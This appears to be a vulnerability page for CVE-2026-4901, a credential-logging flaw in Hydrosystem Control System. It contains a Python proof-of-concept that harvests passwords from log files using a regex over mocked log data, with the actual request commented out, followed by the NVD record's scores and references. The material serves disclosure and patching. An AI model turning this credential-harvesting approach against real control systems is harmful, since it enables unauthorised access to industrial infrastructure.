CVE-2026-4901

import requests import re # Proof of Concept (PoC) for CVE-2026-4901 # This script demonstrates how an attacker might extract credentials from log files. # It assumes that CVE-2026-34184 can be used to read the log file. def check_log_disclosure(target_url): print(f"[*] Target: {target_url}") # Simulate accessing the log file via the associated file read vulnerability (CVE-2026-34184) # In a real scenario, the endpoint would be specific to the vulnerable application. log_endpoint = "/api/v1/logs/system.log" try: print(f"[*] Attempting to fetch log file from {target_url}{log_endpoint}...") # response = requests.get(f"{target_url}{log_endpoint}") # Actual request # Simulating a response containing leaked credentials for demonstration mock_response_content = """ 2026-04-09 10:15:22 INFO User 'admin' login attempt with password 'Admin@123!' 2026-04-09 10:15:23 ERROR Connection timeout 2026-04-09 10:16:00 INFO User 'operator' authenticated successfully. Password: 'Op#2026' """ # Analyze the log content for patterns resembling credentials # Common patterns: 'password', 'passwd', 'login with' print("[*] Analyzing log content for sensitive data...") # Regex to find potential password assignments or login attempts pattern = r"(password|passwd).*?[\'\"](.*?)[\'\"]" matches = re.findall(pattern, mock_response_content, re.IGNORECASE) if matches: print("[!] Potential credentials found in logs:") for match in matches: print(f" - Key: {match[0]}, Value: {match[1]}") print("[!] Vulnerability Confirmed: CVE-2026-4901") else: print("[-] No obvious credentials found in this log snippet.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://hydrosystem.local" check_log_disclosure(target)

{"cve": {"id": "CVE-2026-4901", "sourceIdentifier": "[email protected]", "published": "2026-04-09T10:16:22.543", "lastModified": "2026-04-20T17:05:29.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hydrosystem Control System saves sensitive information into a log file. Critically, user credentials are logged allowing the attacker to obtain further authorized access into the system. Combined with vulnerability CVE-2026-34184, these sensitive information could be accessed by an unauthorized user.This issue was fixed in Hydrosystem Control System version 9.8.5"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-532"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hydrosystem.poznan:control_system:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.8.5", "matchCriteriaId": "C9D6B388-FD5C-486B-9493-E99D5499652D"}]}]}], "references": [{"url": "https://cert.pl/posts/2026/04/CVE-2026-4901/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.hydrosystem.poznan.pl/", "source": "[email protected]", "tags": ["Product"]}]}}